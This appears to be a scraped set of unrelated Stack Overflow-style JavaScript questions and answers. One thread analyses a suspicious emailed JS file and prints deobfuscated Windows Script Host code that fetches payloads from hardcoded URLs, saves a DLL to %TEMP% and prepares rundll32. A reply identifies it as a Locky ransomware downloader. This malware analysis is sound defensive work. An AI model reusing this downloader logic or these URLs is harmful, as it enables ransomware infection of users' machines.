My question is similar to Download file from webpage which does not have a download link except regarding to read it on Python.
Considering this site, is there any way to obtain the download link of the file produced by the 'Consultar' button? I want to download it on R for some specific dates so I need some kind of link that will allow me to change inputs before downloading.
I suppose it has relation to the below chunk but I've not enough knowlodge in javascript/html (or whatever the site uses).
function MostraTodasOpcoes(nEscolha) {
if (nEscolha == 1) {
document.getElementById('DivOpcoes').style.display = 'none';
}
else {
document.getElementById('DivOpcoes').style.display = 'block';
}
}
function VerificaSubmit() {
vForm = document.CURVA_Z;
var Dt = vForm.Dt_Ref.value;
var DtVer = vForm.Dt_Ref_Ver.value;
nT = String(Dt).length;
nTVer = String(DtVer).length;
DtReal = String(Dt).substring(nT, nT - 4) + String(Dt).substring(5, 3) + String(Dt).substring(0, 2);
DtVerif = String(DtVer).substring(nTVer, nTVer - 2) + "/" + String(DtVer).substring(6, 4) + "/" + String(DtVer).substring(0, 4);
//alert("nTipo: " + Dt);
//alert("nTipo: " + DtReal);
//alert("nTipo: " + DtVer);
if (DtReal < DtVer) {
alert("Histórico disponível de 5 dias úteis. Digite uma data até " + DtVerif + "!");
return false;
}
if (document.CURVA_Z.escolha[0].checked) {
vForm.action = "CZ.asp";// vForm.target="_Blank";
document.CURVA_Z.Idioma[0].checked = true;
}
else {
vForm.action = "CZ-down.asp"; vForm.target = "framedown";
}
vForm.submit();
}
Thank you in advance!
Related
I admit not being so great with JavaScript.
I've been tasked to build a utility that will run a check to see if a campaign date is going to expire in 2 weeks or less and add a class if it's going to.
The date is coming from a service and it's built (datatables map) as follows.
The data is coming back undefined but that's a different issue.
Any feedback would be greatly appreciated because I don't seem to be having any luck whatsoever.
Initially I had a date object in there but wasn't sure it was necessary.
/*HTML Rendered Out for that table cell (there are multiple but this is how it
comes out*/
<td class=" campaign_start_date small-screen small-screen-2-col">06/14/2017 -
<div class="campaign-end-date">06/29/2017</div></td>
JS
//Datatables Code & modified for our project
{title:ax.L(114), class:'campaign_start_date small-screen small-screen-2-col', data:function(row, type, val, meta) {
var campaignEndDate = ax.Utils.deNull(row.campaign_end_date, '');
campaignEndDate = ax.Utils.RFCFormat(campaignEndDate, { excludeTime: true });
var campaignStartDate = ax.Utils.deNull(row.campaign_start_date, '');
campaignStartDate = ax.Utils.RFCFormat(campaignStartDate, { excludeTime: true });
var campaignDateString;
if (campaignEndDate && campaignStartDate ) {
campaignDateString = campaignStartDate + ' - ' + '<div class="campaign-end-date">' + ax.Utils.campaignEndDateAlert(campaignEndDate) + '</div>';
} else {
if (!campaignEndDate && campaignStartDate) {
campaignDateString = campaignStartDate + ' - ? ';
}
else if (!campaignStartDate && campaignEndDate) {
campaignDateString = ' ? - ' + campaignEndDate;
}
else {
campaignDateString = ' ';
}
}
return campaignDateString
//My attempt at doing this from the Utility file - the code that i'm having no luck with.
publicMethods.campaignEndDateAlert = function (data) {
var campaignDateEnd = data.campaign_end_date;
var $orderTable = $('#order-table');
var $campaignDate = $orderTable.find('.campaign-end-date')
if (campaignDateEnd <= campaignDateEnd + 86400000) {
$campaignDate.addClass('green');
}
}
Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.
Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.
Code is too large to fit here so I posted it up on GitHub:
https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26
What the heck does this code do?
I ran it in a sandbox and it results in a console error.
Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).
So - the first run of the script (as posted on by comment) will give this code after obfuscation:
http://pastebin.com/cFuijfFS
Working on that - the code will run the following:
var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]
var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL
var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")
var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK
var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"
var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system
// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
// Check if we are in amd64
var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);
// var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
// var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
...
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]
// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
try
{
var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
break;
}
catch (e)
{
continue;
}
};
var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);
var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
// Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
if (fso[DQq + Js + Va + Vn](Nt5))
{
var Em = fso.GetFile(Nt5);
var DAb4 = Em.ShortPath;
OPr3 = DAb4+ZYz;
// check if the same dll file with ".txt" extension exists
if (fso[DQq + Js + Va + Vn](OPr3)) {
// run quite()
this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
}
}
var HFw3 = MTm6(IGv7[ETi8 + Fp]);
try
{
if (1== ENa6)
{
// Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
MBi0[BBw + Co]();
}
if (MBi0.readystate < 4)
{
// WScript["Sleep"](100);
WScript[SJl + Hj](100);
continue;
}
var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
// var Nf=WScript["CreateObject"]("ADODB.Stream")
// ADOBE_SCRIPT[open]()
Nf[NOc6]();
// ADOBE_SCRIPT[type] = 1
Nf[Aj9]=Yz;
// ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);
// Set position of the adodb.stream to 0
Nf[Hz + QWh5 + VSo5]=0;
// Save the content to the file NQf6 (the file in c:/temp)
Nf[WGa + Yh + OAk](NQf6, IDz0);
// close the file
Nf[Cz + FLv2]();
Still working on the rest, will update here with more info :)
It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P
And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.
Sadly I'm on a phone otherwise it would be a nice puzzle xD
Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..
Edit2:
Code inception!
https://jsfiddle.net/3sn6o9o9/
.
See the js output it generates, more obfuscation, we must go deeper!
To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.
I am attempting to do a small PoC with PDFs and have run into an issue. I am looking to post a message to a PDF and have the PDF post a message to the browser.
The deets:
I am viewing the PDF in an "object" element in IE9. I am using itextsharp to prefill a pdf template on the server, inject some app level javascript (post message and on message stuff) and then serve that up to the browser via a filestreamresult. I am using Reader 10 to view the PDF in IE9.
What works:
So far, everything works except for the PDF posting a message to the browser. I can post a message to the PDF, from the browser, no problem and all of the fields are prefilled as desired.
What doesn't work:
When I try using this.hostContainer.postMessage(["something","somethingmore"]) I get an Acrobat Escript window that says "hostContainer is not defined". I have also tried using "event.target.hostContainer" but I get "event.target is not defined". I am at a loss of what to do and any insight would be super helpful.
Reference links:
Acrobat Javascript API
Stackoverflow How-To on this topic
Original guide I used
The code:
My form view:
<object id="pdfFrame" style="width:100%;height: 100%;" data="#Url.Action("LoadForm")">No luck :(</object>
My custom javascript string method:
private static string GetCustomJavascript(string existingJavaScript)
{
const string newJs =
"this.disclosed = true; " +
"if (this.external && this.hostContainer) { " +
"function onMessageFunc( stringArray ) { " +
// "var name = this.myDoc.getField(personal.name); " +
// "var login = this.myDoc.getField(personal.loginname); " +
"try{" +
"app.alert(doc.xfa);" +
"console.println('Doc xfa value = ' + doc.xfa);" +
// "event.target.hostContainer.postMessage(['hello from pdf!']);" +
// "this.hostContainer.postMessage(['hello from pdf!']);"+
// "name.value = stringArray[0]; " +
// "login.value = stringArray[1]; " +
"} catch(e){ onErrorFunc(e); } " +
"} " +
"function onErrorFunc( e ) { " +
"console.show(); " +
"console.println(e.toString()); " +
"} " +
"try {" +
"if(!this.hostContainer.messageHandler) { " +
"this.hostContainer.messageHandler = new Object(); " +
"this.hostContainer.messageHandler.myDoc = this; " +
"this.hostContainer.messageHandler.onMessage = onMessageFunc; " +
"this.hostContainer.messageHandler.onError = onErrorFunc; " +
"this.hostContainer.messageHandler.onDisclose = function(){ return true; }; " +
"}" +
"} catch(e){onErrorFunc(e);}" +
"}";
var jsToReturn = existingJavaScript + newJs;
return jsToReturn;
}
My method for filling and sending the form to the browser:
public MemoryStream GetFilledRequestForm(string fileDirectory, User user, FormView formView)
{
var pdfStream = new MemoryStream();
var templateFilePath = GetRequestTypeTemplateFilePath(fileDirectory, _requestModule.FormTemplateFileName);
var pdfReader = new PdfReader(templateFilePath);
// pdfReader.RemoveUsageRights();
var stamper = new PdfStamper(pdfReader, pdfStream);
var formFields = GetFormFields(user, formView, pdfReader);
foreach (var field in formFields.Where(f => f.Value != null))
{
stamper.AcroFields.SetField(field.Name, field.Value);
}
stamper.FormFlattening = false;
var newJs = GetCustomJavascript(stamper.Reader.JavaScript);
stamper.AddJavaScript("newJs", newJs);
stamper.Close();
byte[] byteInfo = pdfStream.ToArray();
var outputStream = new MemoryStream();
outputStream.Write(byteInfo, 0, byteInfo.Length);
outputStream.Position = 0;
return outputStream;
}
Ok, so I have resolved it, with some help of course. I found the key at this stack overflow post. I needed to wait for the object to load before assigning the message handler. Additionally, I needed a global variable in the pdf javascript to be able to post the message.
Html/Javascript: (the key here is the loadListener() function)
#model WebModel.FormView
<object id="pdfFrame" style="width:100%;height: 100%;" data="#Url.Action("LoadForm")">No luck :(</object>
<input id="buttonPost" type="button" value="post to pdf"/>
<script type="text/javascript">
var PDFObject = document.getElementById("pdfFrame");
function loadListener() {
if (typeof PDFObject.readyState === 'undefined') { // ready state only works for IE, which is good because we only need to do this for IE because IE sucks in the first place
debugger;
PDFObject.messageHandler = { onMessage: messageFunc };
return;
}
if (PDFObject.readyState == 4) {
debugger;
PDFObject.messageHandler = { onMessage: messageFunc };
} else {
setTimeout(loadListener, 500);
}
}
function messageFunc(data) {
debugger;
var messagedata = data;
alert('finally!!');
}
function sendToPdf() {
if(PDFObject!= null){
PDFObject.postMessage(
["a", "b"]);
}
}
$('#pdfFrame').ready(function() {
loadListener();
$('#buttonPost').on('click', function() {
sendToPdf();
});
});
</script>
My new function to create the javascript: (the key here is var appHostContainer)
private static string GetCustomJavascript(string existingJavaScript)
{
const string newJs =
"this.disclosed = true; " +
"var appHostContainer = this.hostContainer;" +
"if (this.external && this.hostContainer) { " +
"function onMessageFunc( stringArray ) { " +
// "var name = this.myDoc.getField(personal.name); " +
// "var login = this.myDoc.getField(personal.loginname); " +
"try{" +
"app.alert(stringArray);" +
"appHostContainer.postMessage(['hello from pdf!']);" +
// "name.value = stringArray[0]; " +
// "login.value = stringArray[1]; " +
"} catch(e){ onErrorFunc(e); } " +
"} " +
"function onErrorFunc( e ) { " +
"console.show(); " +
"console.println(e.toString()); " +
"} " +
"try {" +
"if(!this.hostContainer.messageHandler) { " +
"this.hostContainer.messageHandler = new Object(); " +
"this.hostContainer.messageHandler.myDoc = this; " +
"this.hostContainer.messageHandler.onMessage = onMessageFunc; " +
"this.hostContainer.messageHandler.onError = onErrorFunc; " +
"this.hostContainer.messageHandler.onDisclose = function(){ return true; }; " +
"}" +
"} catch(e){onErrorFunc(e);}" +
"}";
var jsToReturn = existingJavaScript + newJs;
return jsToReturn;
}
I'm using the below code in javascript for downloading or uploading a file from network.
$(document).ready(function DirectoryCopy(sourceDirName, destDirName, copySubDirs, test) {
debugger;
try {
var dir = new System.IO.DirectoryInfo.ctor(sourceDirName);
var directory_stop = dir.get_Name();
var dirs = dir.GetDirectories();
if (!dir.get_Exists()) {
throw $CreateException(new System.IO.DirectoryNotFoundException.ctor$$String("Source directory does not exist or could not be found: " + sourceDirName), new Error());
}
if (!System.IO.Directory.Exists(destDirName)) {
System.IO.Directory.CreateDirectory$$String(destDirName);
}
if (test == true) {
System.IO.Directory.CreateDirectory$$String(destDirName + "\\" + "Complete");
}
var files = dir.GetFiles();
for (var $i2 = 0, $l2 = files.length, file = files[$i2]; $i2 < $l2; $i2++, file = files[$i2]) {
var temppath = System.IO.Path.Combine$$String$$String(destDirName, file.get_Name());
file.CopyTo$$String$$Boolean(temppath, true);
}
if (copySubDirs) {
for (var $i3 = 0, $l3 = dirs.length, subdir = dirs[$i3]; $i3 < $l3; $i3++, subdir = dirs[$i3]) {
var temppath = System.IO.Path.Combine$$String$$String(destDirName, subdir.get_Name());
DirectoryCopy(subdir.get_FullName(), temppath, copySubDirs, false);
}
return dirs.length;
}
return files.length;
}
catch (ex) {
var path = "d:\\tempnew\\MyTest.txt";
var sw = System.IO.File.CreateText(path);
try {
sw.WriteLine$$String(ex.toString());
}
finally {
sw.Dispose();
}
return 0;
}
});
But I am getting an error on
var dir = new System.IO.DirectoryInfo.ctor(sourceDirName);
as "System is not defined"
I'm passing values from code behind as shown below.
TextBox1.Text = #"\" + "\\10.66.3.82" + #"\" + "ipadqc" + #"\" + "IPAD Titles" + #"\" + JobName.Text + #"\" + Issue.Text;
string Macid = (string)(Session["Name"]);
string path = "D:" + #"\" + "Ipad Download" + #"\" + Macid + #"\" + Process.Text + #"\" + JobName.Text + #"\" + Issue.Text;
string a;
ClientScript.RegisterStartupScript(typeof(Page), "script", a = "DirectoryCopy('" + TextBox1.Text + "','"+path+"', true, true);", true);
please correct me if i'm wrong or please let me know if there is any better option to do it.
System.IO is a .Net thing, not a javascript thing.
For downloading files using JS, there are plenty or questions like this on Stack Overlow already. like this one
As far as uploading goes, the top answer on this question pretty much sums it up.
Hy everyone! I've got a problem developping a little webapp.
The goal is to search for a specific word in files from a stating folder on the server.
To do that, I've implemented a recursive algorithm using java.io.File and a BufferReader.
When I get the results, I had them in a table using a script in my jsp file :
// Posting founded files in a table.
var files = response.getElementsByTagName("file");
// -> Creating the results table.
var table = "<table width=\"100%\">\n";
for (var i = 0, c = files.length; i < c; i++) {
// -> Building the number of apparence in each file.
var nb = files[i].getAttribute("nb");
var nbSentence = "";
if (nb == 1) { nbSentence = nb + " time in this file."; }
else { nbSentence = nb + " times in this file."; }
// Building and filling the table.
if (i % 2 == 0) { table += "<tr class=\"pair\"><td><a href=" + files[i].firstChild.nodeValue + " target=\"_blank\" >"
+ files[i].getAttribute("name") + "</a></td><td>" + nbSentence + "</td></tr>\n"; }
else { table += "<tr class=\"impair\"><td><a href=" + files[i].firstChild.nodeValue + " target=\"_blank\" >"
+ files[i].getAttribute("name") + "</a></td><td>" + nbSentence + "</td></tr>\n"; }
}
table += "</table>\n";
// -> To end the procedure, we had the table to the right div.
document.getElementById("files").innerHTML = table;
My problem is that with this code, all of the results are printed in one tim in the target table. I would like to see the results comming one by one, everytime a file is found in the algorithm.
I've tried to change the readystate to "3" in the onreadystatestage function :
xhr.onreadystatechange = function() {
if (xhr.readyState >= 3 && (xhr.status == 200 || xhr.status == 0)) {
callback(xhr.responseXML);
document.getElementById("loader").style.display = "none";
document.getElementById("btn").value = "Search";
} else if (xhr.readyState < 3) {
document.getElementById("loader").style.display = "inline";
document.getElementById("btn").value = "Cancel";
}
};
But it doesn't change anything.
Does somebody have an idea? How can I send every founded file one by one ? Do I have t do it in the servlet class ?
The for instruction in the servlet class :
// If the input word name isn't empty, the algorithm is launched.
if (null != wordToSearch && !"".equals(wordToSearch))
{
lstFiles.clear();
searching(new File(contextPath), wordToSearch);
int n = lstFiles.size();
// Priting a message that indicate how many files have been found with the word to search.
emptyFieldMessage = n + " files has been found containing the word '" + wordToSearch + "'!";
output.append("<message>").append(emptyFieldMessage).append("</message>\n");
output.append("<lstFiles>\n");
// Then, files list with :
// - File path in "name" parameter,
// - Number of apparence of the word in "nb" parameter,
// - Formatted path as the value.
for(int i = 0; i < n; i++)
{
output.append("<file name=\"" + lstFiles.get(i) + "\" nb=\"" + lstNbApparence.get(i) + "\" >").append(lstFilesPath.get(i)).append("</file>\n");
}
output.append("</lstFiles>\n");
}
To be more complet, the whole script code :
<script>
// Creating xhr variable.
var xhr = null;
// Creating the "Search" button function.
function request(callback) {
// "Cancel" button case.
if (xhr && xhr.readyState != 0)
{
xhr.abort();
}
// "Search" button case.
else
{
// Calling the good function from external file.
xhr = getXMLHttpRequest();
// Callback and loading icon management.
xhr.onreadystatechange = function() {
if (xhr.readyState >= 3 && (xhr.status == 200 || xhr.status == 0)) {
callback(xhr.responseXML);
document.getElementById("loader").style.display = "none";
document.getElementById("btn").value = "Search";
} else if (xhr.readyState < 3) {
document.getElementById("loader").style.display = "inline";
document.getElementById("btn").value = "Cancel";
}
};
// Calling the Servlet in charge of the recursion algorithm.
var input = encodeURIComponent(document.getElementById("wordName").value);
xhr.open("GET", "/webApp_Search_Merge/ActionServlet?wordName=" + input, true);
xhr.send(null);
}
}
// Creating the reponse function.
function readData(response) {
if (null != response)
{
// Posting the message include in the XML file sending back by the Servlet.
var message = response.getElementsByTagName("message");
document.getElementById("message").innerHTML = message[0].firstChild.nodeValue;
// Posting founded files in a table.
var files = response.getElementsByTagName("file");
// -> Creating the results table.
var table = "<table width=\"100%\">\n";
for (var i = 0, c = files.length; i < c; i++) {
// -> Building the number of apparence in each file.
var nb = files[i].getAttribute("nb");
var nbSentence = "";
if (nb == 1) { nbSentence = nb + " time in this file."; }
else { nbSentence = nb + " times in this file."; }
// Building and filling the table.
if (i % 2 == 0) { table += "<tr class=\"pair\"><td><a href=" + files[i].firstChild.nodeValue + " target=\"_blank\" >"
+ files[i].getAttribute("name") + "</a></td><td>" + nbSentence + "</td></tr>\n"; }
else { table += "<tr class=\"impair\"><td><a href=" + files[i].firstChild.nodeValue + " target=\"_blank\" >"
+ files[i].getAttribute("name") + "</a></td><td>" + nbSentence + "</td></tr>\n"; }
}
table += "</table>\n";
// -> To end the procedure, we had the table to the right div.
document.getElementById("files").innerHTML = table;
}
}
Thanks by advance for your help, Thomas.
I tried to set up a working demo, but with no results. I was also searching why I can't find the way to "sleep" a function and re-execute after 1000 milliseconds or whatever you want. Already found an answer to that, but I think it's not really what did you expected:
A sleep function will kill the browser and possibly the machine.
Javascript is single threaded, so the browser will block while this
executes, and the loop itself will just take up a lot of CPU. I’ve
heard of some libraries that actually do sleep correctly in an
asynchronous manner, but I can’t remember the name right now.
This is a very bad idea. JavaScript is single threaded so while that
for loop is running nothing else can execute (js timers, browser
events, even the UI in most browsers). Try to sleep for 5 or more
seconds and the browser will even warn the user that a script is
running slowly.
Just use setTimeout.
Also speaks about a sleep function into Native Javascript. It seems that it's like a framework or something like that. You can download it and try it at your own. I can't say anything about this because I've never tested, it's just what I found on internet.
I'm sorry to give you bad news.